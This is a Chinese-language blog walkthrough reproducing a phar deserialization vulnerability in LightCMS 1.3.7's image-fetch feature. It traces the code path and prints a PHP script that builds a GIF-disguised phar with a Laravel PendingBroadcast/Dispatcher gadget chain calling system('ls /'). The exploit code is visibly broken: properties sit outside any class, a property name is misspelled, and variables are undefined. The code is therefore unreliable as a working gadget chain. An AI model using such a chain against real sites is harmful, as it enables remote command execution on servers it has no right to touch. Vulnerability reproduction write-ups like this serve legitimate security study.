LightCMS1.3.7漏洞复现

前言

lightCMS是一个轻量级的CMS系统,也可以作为一个通用的后台管理框架使用。lightCMS集成了用户管理、权限管理、日志管理、菜单管理等后台管理框架的通用功能,同时也提供模型管理、分类管理等CMS系统中常用的功能。

搭建环境
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cd /var/www/html
git clone https://hub.fastgit.org/eddy8/LightCMS.git
cd lightCMS
composer install
sudo chmod 777 -R storage/ bootstrap/cache/
cp .env.example .env

数据库配置:
CREATE DATABASE homestead;
CREATE USER 'homestead'@'localhost' IDENTIFIED BY 'secret';
GRANT ALL PRIVILEGES ON *.* TO 'homestead'@'localhost';
FLUSH PRIVILEGES;

php artisan migrate --seed
php artisan serve

途中可能回遇到一些php-mysql依赖没有安装,
sudo apt-get install php7.4-xsl php7.4-mbstring php7.4-intl -y php7.4-gd对应你自己的安装即可

laravel框架属实还没学明白,只能照着网上的复现,这个漏洞出在 app/Http/Controllers/Admin/NEditorController.php中的上传图片的功能:

在这里插入图片描述

知道漏洞发生在哪了,我自己先分析了下这串代码,

关于config函数config 函数

如果我要的配置不在.env 文件中而在 mail.php 文件中,我要临时设置和读取该怎么办,这个时候我们就要使用 config 函数了,这个函数在使用上有些特色,我们一一说。

比如我现在要读取 mail.php 文件中的 driver 配置项,可以使用 config(‘mail.driver’), 如果要获取 mail.php 文件中所有的配置项可以使用 config(‘mail’),注意两种方式的区别。

如果我们想临时的修改配置,但是又不像让它生效,可以使用 config([‘mail.driver’=>’sendmail’]),这样邮箱配置中的驱动配置就改为了 sendmail,不过这种方式是临时的,并不会写入到配置文件中。

先用过滤器过滤变量,初始化curl话柄来获取远程资源的内容,然后使用 Image:make 模块进行解析用imagecreatefromwebp获得的WebP 图像文件,

文件名称 配置类型
app.php 应用相关,如项目名称、时区、语言等
auth.php 用户授权,如用户登录、密码重置等
broadcasting.php 事件广播系统相关配置
cache.php 缓存相关配置
database.php 数据库相关配置,包括 MySQL、Redis 等
filesystems.php 文件存储相关配置
mail.php 邮箱发送相关的配置
queue.php 队列系统相关配置
services.php 放置第三方服务配置
session.php 用户会话相关配置
view.php 视图存储路径相关配置

在这里插入图片描述

这里config函数读取light.image_upload.driver的值,判断是不是上传到本地,如果不是的话就获取class然后实例化,回调catchImage函数

然后获取请求结果,转换为数组去重,接着遍历数组,随后跟进fetch Image File函数

image-20210703021425786

可以看到先用过滤器看是否$url是否是url。注意这不仅http协议可以通过,其它如phar协议同样也可以。接着尝试 curl 访问 url,并返回结果给$data,然后通过isWebp()判断$data是否是 webp 文件,其中会调用Intervention\\Image\\Facades\\Image的 make方法,对图片内容进行解析

逐步跟进vendor/intervention/image/src/Intervention/Image/ImageManager.php

在这里插入图片描述

继续跟进到vendor/intervention/image/src/intervention/Image/AbstractDriver.php,通过 init(),然后传入 decoder->init()

在这里插入图片描述

跟进init到vendor/intervention/image/src/Intervention/Image/AbstractDecoder.php

在这里插入图片描述

查看 isUlr() 方法,同样也是判断$data是否为 url,这时$data是 phar 协议,可以 return true,所以 $data传入initFromUrl()

在这里插入图片描述

查看initFromUrl()方法,可以看到 file_get_contents() 触发 phar 反序列化

在这里插入图片描述

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
namespace Illuminate\Broadcasting{ //创建一个事件并将数组中的事件(键)和事件监听者(数组的键值)进行绑定
protected $events;
protected $evnet;
public function __construct($cmd)
{
$this->event = new Dispatcher($cmd);
$this->events = $events;
}
}
namespace Illuminate\Events{

class Dispatcher{ //触发事件类
protected $listeners;
public function __construct(){
$this->listeners=[$event=>['system']];
}
}
}

namespace{
$phar = new Phar('phar.phar'); //后缀名必须为phar
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub
$o = new Illuminate\Broadcasting\PendingBroadcast('ls /');
echo base64_encode(serialize($o));
$phar -> setMetadata($o); //将自定义的meta-data存入manifest
$phar -> addFromString('test.txt','test'); //添加要压缩的文件
$phar -> stopBuffering(); //签名自动计算
}

具体的laravel事件机制可以看看

[]: https://blog.csdn.net/qq_16877261/article/details/79095039?utm_source=blogxgwz0

在这里插入图片描述

在这里插入图片描述

最后在发包即可

在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!